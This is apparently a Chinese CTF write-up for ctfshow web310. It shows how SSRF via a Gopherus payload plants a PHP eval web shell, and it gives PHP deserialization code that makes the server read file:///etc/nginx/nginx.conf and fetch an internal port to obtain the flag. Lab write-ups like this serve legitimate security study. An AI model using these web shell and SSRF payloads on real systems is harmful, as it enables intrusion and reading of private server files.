天天看點

ctfshow web310

跟前面308 309同一個源碼,隻是mysql添加了密碼不能ssrf了

跟309一樣

不過這題的flag不能直接讀,找了一下,web目錄下面的flag是假的,真的在/var/flag裡面,無法直接用ssrf讀到,但寫個木馬用蟻劍連接配接就能讀到了

同樣的 利用gopherus工具生成payload

ctfshow web310

echo "<?php @eval(\$_POST[a]); ?>" > /var/www/html/1.php

之後蟻劍連接配接

ctfshow web310

flag在var/flag目錄下的index.html裡面

ctfshow web310

補充

去看了一下别的師傅的wp,看到是用file://協定讀

nginx.conf

配置檔案找資訊,這裡也記錄一下

<?php
class config{
    public $update_url ="file:///etc/nginx/nginx.conf";
}
class dao{
    private $config;

    public function __construct(){
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));
           
server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;
           

之後直接讀

<?php
class config{
    public $update_url ="http://127.0.0.1:4476/";
}
class dao{
    private $config;

    public function __construct(){
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));
           
ctfshow web310

感覺這個思路才是出題人想考的,學習一下。

繼續閱讀